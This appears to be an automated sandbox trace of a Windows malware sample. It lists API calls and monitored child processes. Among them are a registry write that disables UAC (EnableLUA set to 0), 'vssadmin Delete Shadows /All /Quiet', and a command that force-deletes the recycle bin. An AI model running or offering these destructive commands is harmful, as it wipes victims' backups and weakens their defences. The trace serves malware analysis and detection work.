	[0063.514] _memicmp (_Buf1=0x292ed2f29d0, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.514] lstrlenW (lpString="0") returned 1
	[0063.515] lstrlenW (lpString="0") returned 1
	[0063.515] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0063.515] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0063.515] lstrlenW (lpString="0") returned 1
	[0063.515] _errno () returned 0x292ed600850
	[0063.515] _errno () returned 0x292ed600850
	[0063.515] lstrlenW (lpString="") returned 0
	[0063.515] _memicmp (_Buf1=0x292ed2f29d0, _Buf2=0x7ff62b3f01c8, _Size=0x7) returned 0
	[0063.515] lstrlenW (lpString="0") returned 1
	[0063.515] lstrlenW (lpString="0") returned 1
	[0063.515] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0063.515] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0
	[0063.515] lstrlenW (lpString="0") returned 1
	[0063.515] _errno () returned 0x292ed600850
	[0063.515] _errno () returned 0x292ed600850
	[0063.515] lstrlenW (lpString="") returned 0
	[0063.515] RegSetValueExW (in: hKey=0x94, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0xd796abfb38*=0x0, cbData=0x4 | out: lpData=0xd796abfb38*=0x0) returned 0x0
	[0063.516] RegCloseKey (hKey=0x94) returned 0x0
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4610) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4610) returned 0x74
	[0063.516] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4610) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4190) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4190) returned 0xa0
	[0063.516] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4190) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f50f0) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f50f0) returned 0x14
	[0063.516] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f50f0) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4900) returned 1
	[0063.516] GetProcessHeap () returned 0x292ed2f0000
	[0063.516] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4900) returned 0x4
	[0063.516] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4900) returned 1
	[0063.516] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.516] GetLastError () returned 0x0
	[0063.516] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xd796abfab0, nSize=0x0, Arguments=0x0 | out: lpBuffer="㻐ʒ") returned 0x27
	[0063.517] GetLastError () returned 0x0
	[0063.517] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0063.517] GetProcessHeap () returned 0x292ed2f0000
	[0063.518] GetProcessHeap () returned 0x292ed2f0000
	[0063.518] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4110) returned 1
	[0063.518] GetProcessHeap () returned 0x292ed2f0000
	[0063.518] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4110) returned 0x2
	[0063.518] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4110) returned 1
	[0063.518] GetProcessHeap () returned 0x292ed2f0000
	[0063.518] RtlAllocateHeap (HeapHandle=0x292ed2f0000, Flags=0xc, Size=0x50) returned 0x292ed2f4610
	[0063.518] RtlRestoreLastWin32Error () returned 0xd796dc7000
	[0063.518] LocalFree (hMem=0x292ed2f3ed0) returned 0x0
	[0063.518] __iob_func () returned 0x7ffcea2dea00
	[0063.518] _fileno (_File=0x7ffcea2dea30) returned 1
	[0063.518] _errno () returned 0x292ed600850
	[0063.518] _get_osfhandle (_FileHandle=1) returned 0x50
	[0063.518] _errno () returned 0x292ed600850
	[0063.518] GetFileType (hFile=0x50) returned 0x2
	[0063.518] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50
	[0063.518] GetFileType (hFile=0x50) returned 0x2
	[0063.518] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xd796abfa30 | out: lpMode=0xd796abfa30) returned 1
	[0063.642] __iob_func () returned 0x7ffcea2dea00
	[0063.642] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50
	[0063.642] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39
	[0063.642] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x292ed2f4610*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0xd796abfaa0, lpReserved=0x0 | out: lpBuffer=0x292ed2f4610*, lpNumberOfCharsWritten=0xd796abfaa0*=0x27) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9e90) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9e90) returned 0x200
	[0063.727] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9e90) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4240) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4240) returned 0x18
	[0063.727] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4240) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9140) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9140) returned 0x20
	[0063.727] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9140) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4870) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4870) returned 0x84
	[0063.727] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4870) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.727] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f50d0) returned 1
	[0063.727] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f50d0) returned 0x18
	[0063.728] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f50d0) returned 1
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9350) returned 1
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9350) returned 0x20
	[0063.728] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9350) returned 1
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f90b0) returned 1
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.728] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f90b0) returned 0x1e
	[0063.728] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f90b0) returned 1
	[0063.728] GetProcessHeap () returned 0x292ed2f0000
	[0063.729] GetProcessHeap () returned 0x292ed2f0000
	[0063.729] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f29d0) returned 1
	[0063.729] GetProcessHeap () returned 0x292ed2f0000
	[0063.729] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f29d0) returned 0x18
	[0063.729] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f29d0) returned 1
	[0063.729] GetProcessHeap () returned 0x292ed2f0000
	[0063.729] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9260) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9260) returned 0x20
	[0063.730] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9260) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4610) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4610) returned 0x50
	[0063.730] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4610) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4130) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4130) returned 0x20
	[0063.730] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4130) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f3e50) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f3e50) returned 0x4a
	[0063.730] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f3e50) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f5190) returned 1
	[0063.730] GetProcessHeap () returned 0x292ed2f0000
	[0063.730] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f5190) returned 0x20
	[0063.730] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f5190) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f3eb0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f3eb0) returned 0x8
	[0063.731] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f3eb0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f51c0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f51c0) returned 0x20
	[0063.731] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f51c0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f51f0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f51f0) returned 0x20
	[0063.731] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f51f0) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f5170) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f5170) returned 0x18
	[0063.731] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f5170) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4960) returned 1
	[0063.731] GetProcessHeap () returned 0x292ed2f0000
	[0063.731] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4960) returned 0x20
	[0063.731] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4960) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f49b0) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f49b0) returned 0x20
	[0063.732] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f49b0) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9200) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9200) returned 0x20
	[0063.732] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9200) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f92f0) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f92f0) returned 0x20
	[0063.732] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f92f0) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f4990) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f4990) returned 0x18
	[0063.732] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f4990) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9050) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.732] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9050) returned 0x20
	[0063.732] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9050) returned 1
	[0063.732] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f91d0) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f91d0) returned 0x20
	[0063.733] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f91d0) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9320) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9320) returned 0x20
	[0063.733] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9320) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f49e0) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f49e0) returned 0x18
	[0063.733] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f49e0) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f9230) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f9230) returned 0x20
	[0063.733] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f9230) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] HeapValidate (hHeap=0x292ed2f0000, dwFlags=0x0, lpMem=0x292ed2f2ef0) returned 1
	[0063.733] GetProcessHeap () returned 0x292ed2f0000
	[0063.733] RtlSizeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, MemoryPointer=0x292ed2f2ef0) returned 0x18
	[0063.733] RtlFreeHeap (HeapHandle=0x292ed2f0000, Flags=0x0, BaseAddress=0x292ed2f2ef0) returned 1
	[0063.733] exit (_Code=0) 

Thread:
	id = 19
	os_tid = 0xc2c


Process:
	id = "7"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0xb5ae000"
	os_pid = "0xd34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xd14"
	cmd_line = "vssadmin  Delete Shadows /All /Quiet"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 23
	os_tid = 0x1a0


Thread:
	id = 24
	os_tid = 0x258


Thread:
	id = 25
	os_tid = 0x710


Thread:
	id = 26
	os_tid = 0x73c


Thread:
	id = 27
	os_tid = 0x84


Process:
	id = "8"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x116e9000"
	os_pid = "0x428"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x110c"
	cmd_line = "cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 28
	os_tid = 0x168

	[0068.828] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff79f750000
	[0068.828] __set_app_type (_Type=0x1) 
	[0068.828] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff79f766d00) returned 0x0
	[0068.828] __getmainargs (in: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210, _DoWildCard=0, _StartInfo=0x7ff79f78921c | out: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210) returned 0
	[0068.828] _onexit (_Func=0x7ff79f767fd0) returned 0x7ff79f767fd0
	[0068.829] _onexit (_Func=0x7ff79f767fe0) returned 0x7ff79f767fe0
	[0068.829] _onexit (_Func=0x7ff79f767ff0) returned 0x7ff79f767ff0
	[0068.829] _onexit (_Func=0x7ff79f768000) returned 0x7ff79f768000
	[0068.829] _onexit (_Func=0x7ff79f768010) returned 0x7ff79f768010
	[0068.830] _onexit (_Func=0x7ff79f768020) returned 0x7ff79f768020
	[0068.830] GetCurrentThreadId () returned 0x168
	[0068.830] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x168) returned 0x70
	[0068.830] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0068.830] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990
	[0068.831] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0068.866] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0068.866] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x841b4ffa88 | out: phkResult=0x841b4ffa88*=0x0) returned 0x2
	[0068.906] VirtualQuery (in: lpAddress=0x841b4ffa74, lpBuffer=0x841b4ff9f0, dwLength=0x30 | out: lpBuffer=0x841b4ff9f0*(BaseAddress=0x841b4ff000, AllocationBase=0x841b400000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.906] VirtualQuery (in: lpAddress=0x841b400000, lpBuffer=0x841b4ff9f0, dwLength=0x30 | out: lpBuffer=0x841b4ff9f0*(BaseAddress=0x841b400000, AllocationBase=0x841b400000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.906] VirtualQuery (in: lpAddress=0x841b401000, lpBuffer=0x841b4ff9f0, dwLength=0x30 | out: lpBuffer=0x841b4ff9f0*(BaseAddress=0x841b401000, AllocationBase=0x841b400000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.907] VirtualQuery (in: lpAddress=0x841b404000, lpBuffer=0x841b4ff9f0, dwLength=0x30 | out: lpBuffer=0x841b4ff9f0*(BaseAddress=0x841b404000, AllocationBase=0x841b400000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.907] VirtualQuery (in: lpAddress=0x841b500000, lpBuffer=0x841b4ff9f0, dwLength=0x30 | out: lpBuffer=0x841b4ff9f0*(BaseAddress=0x841b500000, AllocationBase=0x841b500000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0068.907] GetConsoleOutputCP () returned 0x1b5
	[0068.939] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0068.940] SetConsoleCtrlHandler (HandlerRoutine=0x7ff79f778150, Add=1) returned 1
	[0068.940] _get_osfhandle (_FileHandle=1) returned 0x150
	[0068.940] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc04 | out: lpMode=0x7ff79f78fc04) returned 0
	[0068.940] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0068.940] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc00 | out: lpMode=0x7ff79f78fc00) returned 0
	[0068.940] _get_osfhandle (_FileHandle=1) returned 0x150
	[0068.941] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0068.941] _get_osfhandle (_FileHandle=1) returned 0x150
	[0068.941] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 0
	[0068.941] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0068.941] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 0
	[0068.941] GetEnvironmentStringsW () returned 0x1bc48ed59d0*
	[0068.941] GetProcessHeap () returned 0x1bc48ed0000
	[0068.941] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xa7c) returned 0x1bc48ed6460
	[0068.941] FreeEnvironmentStringsA (penv="A") returned 1
	[0068.941] GetProcessHeap () returned 0x1bc48ed0000
	[0068.941] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0x8) returned 0x1bc48ed6ef0
	[0068.941] GetEnvironmentStringsW () returned 0x1bc48ed59d0*
	[0068.941] GetProcessHeap () returned 0x1bc48ed0000
	[0068.941] RtlAllocateHeap (HeapHandle=0x1bc48ed0000, Flags=0x8, Size=0xa7c) returned 0x1bc48ed6f10
